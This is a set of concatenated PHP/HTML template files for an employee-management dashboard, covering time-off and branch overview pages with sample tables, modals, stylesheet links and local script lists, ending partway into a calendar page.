display: $.fn.dataTable.Responsive.display.modal( {
header: function ( row ) {
var data = row.data();
return 'Details for '+data[0]+' '+data[1];
}
} ),
renderer: $.fn.dataTable.Responsive.renderer.tableAll( {
tableClass: 'table'
} )
}
}
} );
} );<file_sep><!--Chartist css-->
<link rel="stylesheet" href="../assets/plugins/chartist/chartist.css">
<link rel="stylesheet" href="../assets/plugins/chartist/chartist-plugin-tooltip.css">
<!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Time Off Overview</h4>
</div>
</div>
<!--page header-->
<div class="row">
<div class="col-2">
<div class="card bg-primary">
<div class="card-body">
<div class="row">
<div class="col text-center">
<div class="dash-2">
<h4 class="text-white mb-2"><span class="font-weight-extrabold"></span>Accepted time off
</h4>
<h5 class="mt-5"><span class="counter">2900 Hours</span></h5>
</div>
</div>
</div>
</div>
<div class="card-body">
<div class="row">
<div class="col">
<p class="mt-1 mb-1"><span class="font-weight-bold"><i
class="fas fa-arrow-circle-up text-danger"></i> 10%</span> Time Off Incresed
</p>
</div>
</div>
</div>
</div>
</div>
<div class="col-2">
<div class="card bg-primary">
<div class="card-body">
<div class="row">
<div class="col text-center">
<div class="dash-2">
<h4 class="text-white mb-2"><span class="font-weight-extrabold"></span>Unpaid time off
</h4>
<h5 class="mt-5"><span class="counter">560 Hours</span></h5>
</div>
</div>
</div>
</div>
<div class="card-body">
<div class="row">
<div class="col text-center">
<p class="mt-1 mb-1"><span class="font-weight-bold"><i
class="fas fa-arrow-circle-up text-danger"></i> 15%</span>Time Off Incresed </p>
</div>
</div>
</div>
</div>
</div>
<div class="col-4">
<div class="card bg-primary">
<div class="card-body">
<div class="row">
<div class="col text-center">
<div class="dash-2">
<h3 class="text-white mb-2"><span class="font-weight-extrabold"></span>Total Time off
request
</h3>
<h5 class="mt-4"><span class="counter">3280 Hours</span></h5>
</div>
</div>
</div>
</div>
<div class="card-body">
<div class="row">
<div class="col text-center">
<p class="mt-1 mb-1"><span class="font-weight-bold"><i
class="fas fa-arrow-circle-up text-danger"></i> 10%</span> Time Off Incresed
</p>
</div>
</div>
</div>
</div>
</div>
<div class="col-2">
<div class="card bg-primary">
<div class="card-body">
<div class="row">
<div class="col text-center">
<div class="dash-2">
<h3 class="text-white mb-2"><span class="font-weight-extrabold"></span>Paid time off
</h3>
<h5 class="mt-4"><span class="counter">1551 Hours</span></h5>
</div>
</div>
</div>
</div>
<div class="card-body">
<div class="row">
<div class="col">
<p class="mt-1 mb-1"><span class="font-weight-bold"><i
class="fas fa-arrow-circle-down text-success"></i> 5%</span>Time Off Decresed
</p>
</div>
</div>
</div>
</div>
</div>
<div class="col-2">
<div class="card bg-primary">
<div class="card-body">
<div class="row">
<div class="col text-center">
<div class="dash-2">
<h3 class="text-white mb-2"><span class="font-weight-extrabold"></span>Sick time off
</h3>
<h5 class="mt-4"><span class="counter">789 Hours</span></h5>
</div>
</div>
</div>
</div>
<div class="card-body">
<div class="row">
<div class="col">
<p class="mt-1 mb-1"><span class="font-weight-bold"><i
class="fas fa-arrow-circle-up text-danger"></i> 13%</span> Time Off Incresed
</p>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-12 col-md-12">
<div class="card">
<div class="card-body">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Requester</th>
<th class="wd-15p border-bottom-0 text-center">Request Date</th>
<th class="wd-10p border-bottom-0 text-center">Type</th>
<th class="wd-15p border-bottom-0 text-center">From Date</th>
<th class="wd-20p border-bottom-0 text-center">To Date</th>
<th class="wd-25p border-bottom-0 text-center">From Time</th>
<th class="wd-25p border-bottom-0 text-center">To Time</th>
<th class="wd-25p border-bottom-0 text-center">Deputy</th>
<th class="wd-25p border-bottom-0 text-center">Confirm Person</th>
<th class="wd-25p border-bottom-0 text-center">Confirmation Status</th>
<th class="wd-25p border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody class="text-center">
<tr>
<td><NAME></td>
<td class="text-center">2/5/97</td>
<td class="text-center">Paid</td>
<td class="text-center">3/6/97</td>
<td class="text-center">4/6/97</td>
<td class="text-center">8:00</td>
<td class="text-center">16:00</td>
<td class="text-center">Saba Nouri</td>
<td class="text-center">Meelad Rezaee</td>
<td><span class="tag tag-success">Accepted</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#view-modal"
class="btn btn-dark btn-sm text-white"><i class="fas fa-eye"></i>
View</a>
</td>
</tr>
<tr>
<td><NAME></td>
<td class="text-center">6/8/97</td>
<td class="text-center">Unpaid</td>
<td class="text-center">7/8/97</td>
<td class="text-center">10/8/97</td>
<td class="text-center">-</td>
<td class="text-center">-</td>
<td class="text-center"><NAME></td>
<td class="text-center">Meelad Rezaee</td>
<td><span class="tag tag-danger">Rejected</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#view-modal"
class="btn btn-dark btn-sm text-white"><i class="fas fa-eye"></i>
View</a>
</td>
</tr>
<tr>
<td><NAME></td>
<td class="text-center">4/8/98</td>
<td class="text-center">Sick</td>
<td class="text-center">5/9/98</td>
<td class="text-center">7/10/98</td>
<td class="text-center">-</td>
<td class="text-center">-</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME>egane</td>
<td><span class="tag tag-success">Accepted</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#view-modal"
class="btn btn-dark btn-sm text-white"><i class="fas fa-eye"></i>
View</a>
</td>
</tr>
<tr>
<td><NAME></td>
<td class="text-center">6/10/97</td>
<td class="text-center">Maternity</td>
<td class="text-center">8/10/97</td>
<td class="text-center">8/10/97</td>
<td class="text-center">8:00</td>
<td class="text-center">16:00</td>
<td class="text-center">-</td>
<td class="text-center">Mohsen Afshani</td>
<td><span class="tag tag-danger">Rejected</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#view-modal"
class="btn btn-dark btn-sm text-white"><i class="fas fa-eye"></i>
View</a>
</td>
</tr>
<tr>
<td><NAME></td>
<td class="text-center">2/5/97</td>
<td class="text-center">Unpaid</td>
<td class="text-center">6/2/97</td>
<td class="text-center">10/2/97</td>
<td class="text-center">-</td>
<td class="text-center">-</td>
<td class="text-center"><NAME></td>
<td class="text-center">Abbas Rezai</td>
<td><span class="tag tag-success">Accepted</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#view-modal"
class="btn btn-dark btn-sm text-white"><i class="fas fa-eye"></i>
View</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<!-- table-wrapper -->
</div>
<!-- section-wrapper -->
</div>
</div>
<div class="row">
<div class="col-6">
<div class="card">
<div class="card-header">
<div class="card-title">
Number of time off request per month
</div>
</div>
<div class="card-body">
<div id="chart" class="overflow-hidden chart-dropshadow"></div>
</div>
</div>
<div class="card">
<div class="card-header">
<div class="card-title">
Number of time off request in each branch
</div>
</div>
<div class="card-body">
<div class="card overflow-hidden">
<div class="card-body">
<div id="chartBar5" class="w-100 overflow-hidden"></div>
</div>
</div>
</div>
</div>
</div>
<div class="col-6">
<div class="card overflow-hidden">
<div class="card-header">
<h3 class="card-title">Time offs</h3>
</div>
<div class="card-body">
<div class="row">
<div class="col-xl-12">
<div class="card-body overflow-hidden">
<canvas id="lineChart" class="chart-dropshadow h-350 overflow-hidden"></canvas>
</div>
</div>
</div>
</div>
<div class="card-body">
<div class="row website-section">
<div class="col-4 text-center mb-5 mb-lg-0">
<p class="mb-1">paid time off</p>
<h2 class="text-success mb-3 font-weight-extrabold">6,254</h2>
<div class="progress progress-md h-1">
<div class="progress-bar progress-bar-striped progress-bar-animated bg-success w-70"></div>
</div>
</div>
<div class="col-4 text-center border-left mb-5 mb-lg-0">
<p class="mb-1">unpaid time off</p>
<h2 class="text-danger mb-3 font-weight-extrabold">1254</h2>
<div class="progress progress-md h-1">
<div class="progress-bar progress-bar-striped progress-bar-animated bg-danger w-70"></div>
</div>
</div>
<div class="col-4 text-center border-left mb-5 mb-lg-0">
<p class="mb-1">sick time off</p>
<h2 class="text-primary mb-3 font-weight-extrabold">24,325</h2>
<div class="progress progress-md h-1">
<div class="progress-bar progress-bar-striped progress-bar-animated bg-primary w-70"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Message Modal -->
<div class="modal fade" id="view-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="view-modal-title">Time Off View</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-6">
<table class="table card-table table-vcenter text-nowrap table-bordered">
<thead>
<tr>
<tr>
<th colspan="3"
class="text-center font-weight-bold bg-primary">
<strong class="font-weight-bold">Requester</strong></th>
</tr>
<tr>
<td colspan="3" rowspan="4" class="text-center">
<div><span class="avatar avatar-xxl brround cover-image"
data-image-src="../assets/images/Max.webp"
style="background: url('../assets/images/Max.webp') center center;"></span>
</div>
<div class="font-weight-bold "><NAME></div>
<div>Org Code: EM 065465</div>
<div>Role: Camera Man</div>
<div class="mb-3">Branch: pasdaran</div>
</td>
</tr>
</tr>
</thead>
<tbody>
</tbody>
<tfoot>
</tfoot>
</table>
</div>
<div class="col-6">
<table class="table card-table table-vcenter text-nowrap table-bordered">
<thead>
<tr>
<th colspan="3"
class="text-center font-weight-bold bg-primary">
<strong class="font-weight-bold">Confirmation Person</strong>
</th>
</tr>
<tr>
<td colspan="3" rowspan="4" class="text-center">
<div><span class="avatar avatar-xxl brround cover-image"
data-image-src="../assets/images/Autotrader-5104.jpg"
style="background: url('../assets/images/Autotrader-5104.jpg') center center;"></span>
</div>
<div class="font-weight-bold "><NAME></div>
<div>Org Code: EM 001233</div>
<div>Role: TQM expert unit</div>
<div class="mb-3">Branch: Shariati</div>
</td>
</tr>
</thead>
</table>
</div>
<div class="col-12">
<div class="card-body table-responsive">
<table class="table card-table table-vcenter text-nowrap table-bordered">
<thead class="text-center">
<tr>
<th class="bg-primary" colspan="2">info</th>
<th class="bg-primary" colspan="1">Description</th>
</tr>
</thead>
<tbody>
<tr>
<th>Type</th>
<td>Paid Time Off</td>
<td rowspan="7">Lorem ipsum dolor sit amet, <br> consectetur
adipisicing elit.
<br>Accusamus aperiam commodi dignissimos <br> distinctio, ea
impedit in iustonr
</td>
</tr>
<tr>
<th>From Date</th>
<td>21/08/2019</td>
</tr>
<tr>
<th>To Date</th>
<td>21/08/2019</td>
</tr>
<tr>
<th>From Time</th>
<td>08:00:00 AM</td>
</tr>
<tr>
<th>To Time</th>
<td>07:00:00 PM</td>
</tr>
<tr>
<th>Deputy</th>
<td><NAME></td>
</tr>
<tr>
<th>Confirmation Status</th>
<td>Accepted</td>
</tr>
</tbody>
</table>
</div>
<div class="card-body table-responsive">
<table class="table card-table table-vcenter text-nowrap table-bordered">
<tfooter class="d-flex">
<tr>
<th class="bg-primary d-inline-flex">File Attached
</th>
<td></td>
</tr>
</tfooter>
</table>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Done</button>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/chartist/chartist.js',
'/assets/plugins/chartist/chart.chartist.js',
'/assets/plugins/chartist/chartist-plugin-tooltip.js',
'/assets/plugins/counters/counterup.min.js',
'/assets/plugins/counters/waypoints.min.js',
'/assets/plugins/peitychart/jquery.peity.min.js',
'/assets/js/apexcharts.js',
'/assets/plugins/chart/chart.bundle.js',
'/assets/plugins/chart/utils.js',
'/assets/plugins/highcharts/highcharts.js',
'/assets/plugins/highcharts/highcharts-3d.js',
'/assets/plugins/highcharts/exporting.js',
'/assets/plugins/highcharts/export-data.js',
'/assets/plugins/highcharts/histogram-bellcurve.js',
'/assets/js/highcharts.js',
'/assets/js/main.js',
'/assets/js/index3.js',
'/assets/js/index2.js',
];
?><file_sep><!doctype html>
<html lang="en" dir="ltr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="msapplication-TileColor" content="#0670f0">
<meta name="theme-color" content="#1643a3">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"/>
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="mobile-web-app-capable" content="yes">
<meta name="HandheldFriendly" content="True">
<meta name="MobileOptimized" content="320">
<link rel="icon" href="/assets/images/brand/favicon.ico" type="image/x-icon"/>
<link rel="shortcut icon" type="image/x-icon" href="/assets/images/brand/favicon.ico"/>
<!-- Title -->
<title>Matican Group</title>
<!-- select2 Plugin -->
<link href="/assets/plugins/select2/select2.min.css" rel="stylesheet"/>
<!--Bootstrap.min css-->
<link rel="stylesheet" href="/assets/plugins/bootstrap/css/bootstrap.min.css">
<!--Font Awesome-->
<link href="/assets/plugins/fontawesome-free/css/all.css" rel="stylesheet">
<!-- Dashboard Css -->
<link href="/assets/css/dashboard.css" rel="stylesheet" />
<!-- Custom scroll bar css-->
<link href="/assets/plugins/scroll-bar/jquery.mCustomScrollbar.css" rel="stylesheet"/>
<!-- Font Family -->
<link href="/assets/copy-font.css" rel="stylesheet">
<!-- Sidemenu Css -->
<link href="/assets/plugins/toggle-sidebar/css/sidemenu-light.css" rel="stylesheet">
<!---Font icons-->
<link href="/assets/plugins/sweet-alert/sweetalert.css" rel="stylesheet"/>
<link href="/assets/plugins/iconfonts/plugin.css" rel="stylesheet"/>
<link href="/assets/plugins/iconfonts/icons.css" rel="stylesheet"/>
<!-- Sidebar css -->
<link href="/assets/plugins/sidebar/sidebar.css" rel="stylesheet">
<!-- Data table css -->
<link href="/assets/plugins/datatable/css/dataTables.bootstrap4.min.css" rel="stylesheet"/>
<link rel="stylesheet" href="/assets/plugins/datatable/css/buttons.bootstrap4.min.css">
<link href="/assets/plugins/datatable/responsive.bootstrap4.min.css" rel="stylesheet"/>
<?php if (false): ?>
<?php
$current_page = ['/test', '/tasks', '/project-view'];
if (in_array($_SERVER['REQUEST_URI'], $current_page)) :?>
<!-- Calendar Plugin -->
<link href="/assets/plugins/calendar/clndr.css" rel="stylesheet"/>
<link href="/assets/plugins/calendar/stylesheet.css" rel="stylesheet"/>
<!--Calendar Css -->
<link href="/assets/plugins/calendar2/css/tui-time-picker.css" rel="stylesheet"/>
<link href="/assets/plugins/calendar2/css/tui-date-picker.css" rel="stylesheet"/>
<link href="/assets/plugins/calendar2/css/tui-calendar.css" rel="stylesheet"/>
<link href="/assets/plugins/calendar2/css/default.css" rel="stylesheet"/>
<link href="/assets/plugins/calendar2/css/icons.css" rel="stylesheet"/>
<?php endif ?>
<?php endif; ?>
<!--Chartist css-->
<link rel="stylesheet" href="/assets/plugins/chartist/chartist.css">
<link rel="stylesheet" href="/assets/plugins/chartist/chartist-plugin-tooltip.css">
<!-- Notifications css -->
<link href="/assets/plugins/notify/css/jquery.growl.css" rel="stylesheet"/>
<!-- Horizontal-menu Css -->
<link href="/assets/plugins/horizontal-menu/dropdown-effects/fade-down.css" rel="stylesheet">
<link href="/assets/plugins/horizontal-menu/webslidemenu.css" rel="stylesheet">
<!-- c3 Charts css -->
<link href="/assets/plugins/charts-c3/c3-chart.css" rel="stylesheet"/>
<!-- Tabs Style -->
<link href="/assets/plugins/tabs/style.css" rel="stylesheet"/>
<!-- timeline Plugin -->
<link href="/assets/plugins/timeline/timeline.min.css" rel="stylesheet"/>
<!-- Accordion Css -->
<link href="/assets/plugins/accordion/accordion.css" rel="stylesheet"/>
<!-- WYSIWYG Editor css -->
<link href="/assets/plugins/wysiwyag/richtext.min.css" rel="stylesheet"/>
<!--Rangeslider css-->
<link href="/assets/plugins/rangeslider/ion.rangeSlider.css" rel="stylesheet"/>
<link href="/assets/plugins/rangeslider/ion.rangeSlider.skinHTML5.css" rel="stylesheet">
<!-- Time picker Plugin -->
<link href="/assets/plugins/time-picker/jquery.timepicker.css" rel="stylesheet"/>
<!-- Date Picker Plugin -->
<link href="/assets/plugins/date-picker/spectrum.css" rel="stylesheet"/>
<!--multipleselect css-->
<link rel="stylesheet" href="/assets/plugins/multipleselect/multiple-select.css">
<style>
.page-title {
color: white !important;
}
.side-app {
padding-top: 58px !important;
}
</style>
</head><file_sep><body class="app sidebar-mini rtl">
<!-- Global Loader-->
<div id="global-loader"><img src="../assets/images/loader.svg" alt="loader"></div>
<div class="page">
<div class="page-main">
<?php require "header-navbar.php"; ?>
<?php require "side-menu.php"; ?>
<div class=" app-content my-3 my-md-5">
<div class="side-app">
<file_sep><!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Branches Overview</h4>
<div class="row">
<div class="col-12">
<button type="button" class="btn btn-success" data-toggle="modal" data-target="#add-modal"><i class="fas fa-plus"></i></button>
</div>
</div>
</div>
</div>
<!--page header end-->
<div class="row">
<div class="col-md-12 col-lg-12">
<div class="card">
<div class="card-body">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead>
<tr class="bg-primary">
<th class="wd-15p border-bottom-0 text-center">Name</th>
<th class="wd-15p border-bottom-0 text-center">Executive Manager</th>
<th class="wd-15p border-bottom-0 text-center">Num Of Employee</th>
<th class="wd-25p border-bottom-0 text-center">Num Of Projects</th>
<th class="wd-25p border-bottom-0 text-center">Efficiency</th>
<th class="wd-25p border-bottom-0 text-center">Place</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="wd-25p border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Branch Number One</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center">43</td>
<td class="text-center">245</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-100 font-weight-bold ">100%
</div>
</div>
</td>
<td class="text-center">Shahrak Gharb</td>
<td class="text-center">Active</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/branch-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Branch Number Two</td>
<td class="text-center"><NAME></td>
<td class="text-center">102</td>
<td class="text-center">734</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-90 font-weight-bold ">90%
</div>
</div>
</td>
<td class="text-center">shapoor street</td>
<td class="text-center">Active</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/branch-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Branch Number Three</td>
<td class="text-center">S<NAME></td>
<td class="text-center">20</td>
<td class="text-center">113</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-90 font-weight-bold ">90%
</div>
</div>
</td>
<td class="text-center">Afrigha street</td>
<td class="text-center">Active</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/branch-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Branch Number Four</td>
<td class="text-center"><NAME></td>
<td class="text-center">78</td>
<td class="text-center">609</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-90 font-weight-bold ">90%
</div>
</div>
</td>
<td class="text-center">Daneshgah street</td>
<td class="text-center">Deactive</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/branch-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Branch Number Five</td>
<td class="text-center">Zahra Sadegh</td>
<td class="text-center">23</td>
<td class="text-center">129</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-90 font-weight-bold ">90%
</div>
</div>
</td>
<td class="text-center">Valiasr street</td>
<td class="text-center">Active</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/branch-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Branch Number Six</td>
<td class="text-center">Saman Moghadam</td>
<td class="text-center">98</td>
<td class="text-center">564</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-90 font-weight-bold ">90%
</div>
</div>
</td>
<td class="text-center">Bahar street</td>
<td class="text-center">Active</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/branch-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Branch Number Eight</td>
<td class="text-center">Shadi Asadi</td>
<td class="text-center">17</td>
<td class="text-center">94</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-90 font-weight-bold ">90%
</div>
</div>
</td>
<td class="text-center">Shariati street</td>
<td class="text-center">Deactive</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/branch-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<!-- table-wrapper -->
</div>
<!-- section-wrapper -->
</div>
</div>
<!-- Message Modal -->
<div class="modal fade" id="add-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3">New Meeting</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1" class="active font-weight-bold" data-toggle="tab">Basic Info</a></li>
<li><a href="#tab2" class="font-weight-bold" data-toggle="tab">Place</a></li>
<li><a href="#tab3" class="font-weight-bold" data-toggle="tab">Room</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="title"> Branch name :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="title"
type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="title"> Executive manager :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="title"
type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="title"> Direct tel :</label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-phone tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control fc-datepicker"
id="Address" type="text">
</div>
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="title">Fax :</label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-fax tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control fc-datepicker"
id="Address" type="text">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab2">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Address">Address :</label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-map-signs tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control fc-datepicker"
id="Address" type="text">
</div>
</div>
</div>
</div>
</div>
<div class="col-12 mt-1">
<img class="border-dark"
src="/assets/images/photos/Matican Location Map + Pin.png" width="100%"
alt="">
</div>
</div>
</div>
<div class="tab-pane" id="tab3">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="title"> Room name :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="title"
type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="title"> Area :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="title"
type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="title">Capacity :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="title"
type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="title">Possibility of meeting :</label>
</div>
<div class="col-lg-9">
<label class="custom-switch">
<input type="checkbox" name="custom-switch-checkbox" class="custom-switch-input">
<span class="custom-switch-indicator"></span>
</label>
</div>
</div>
</div>
<div class="row ">
<button type="button" class="btn btn-vk float-right ml-auto px-3 mr-3 font-weight-bold shadow">Add to list</button>
</div>
<div class="table-responsive mt-3">
<table class="table card-table table-vcenter text-nowrap table-primary border">
<thead class="bg-primary text-white text-center">
<tr class="text-center">
<th class="text-white">Room name</th>
<th class="text-white">Area</th>
<th class="text-white">Capacity</th>
<th class="text-white">Meeting status</th>
<th class="text-white"></th>
</tr>
</thead>
<tbody class="text-center">
<tr>
<td>Number 1</td>
<td>12</td>
<td>8 P</td>
<td>
<label class="custom-switch">
<input type="checkbox" name="custom-switch-checkbox" class="custom-switch-input">
<span class="custom-switch-indicator"></span>
</label>
</td>
<td>
<button href="#" class="btn-pill btn-outline-danger btn-sm">
Delete
</button>
</td>
</tr>
<tr>
<td>Number 2</td>
<td>24</td>
<td>15 P</td>
<td>
<label class="custom-switch">
<input type="checkbox" name="custom-switch-checkbox" class="custom-switch-input">
<span class="custom-switch-indicator"></span>
</label>
</td>
<td>
<button href="#" class="btn-pill btn-outline-danger btn-sm">
Delete
</button>
</td>
</tr>
<tr>
<td>Number 3</td>
<td>8</td>
<td>4 P</td>
<td>
<label class="custom-switch">
<input type="checkbox" name="custom-switch-checkbox" class="custom-switch-input">
<span class="custom-switch-indicator"></span>
</label>
</td>
<td>
<button href="#" class="btn-pill btn-outline-danger btn-sm">
Delete
</button>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i>
Save
</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/accordion/accordion.min.js',
'/assets/plugins/accordion/accor.js',
'/assets/plugins/multipleselect/multiple-select.js',
'/assets/plugins/multipleselect/multi-select.js',
'/assets/plugins/input-mask/jquery.maskedinput.js',
'/assets/plugins/highcharts/highcharts.js',
'/assets/plugins/highcharts/highcharts-3d.js',
'/assets/plugins/highcharts/exporting.js',
'/assets/plugins/highcharts/export-data.js',
'/assets/plugins/highcharts/histogram-bellcurve.js',
'/assets/plugins/chart/chart.bundle.js',
'/assets/js/chart.js',
'/assets/js/highcharts.js',
];
?>
<file_sep><!--Calendar Css -->
<link href="../assets/plugins/calendar2/css/tui-time-picker.css" rel="stylesheet"/>
<link href="../assets/plugins/calendar2/css/tui-date-picker.css" rel="stylesheet"/>
<link href="../assets/plugins/calendar2/css/tui-calendar.css" rel="stylesheet"/>
<link href="../assets/plugins/calendar2/css/default.css" rel="stylesheet"/>
<link href="../assets/plugins/calendar2/css/icons.css" rel="stylesheet"/>
<!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Calendar</h4>
<div class="float-right ml-auto">
</div>
</div>
</div>
<!--page header-->
<div class="row">
<div class="col-lg-12 col-md-12 col-12">
<div class="card">
<div class="card-body">
<div class="border p-0">
<div class="row m-0">
<div id="lnb" class="col-2">
<div class="lnb-new-schedule">
<button id="btn-new-schedule" type="button"
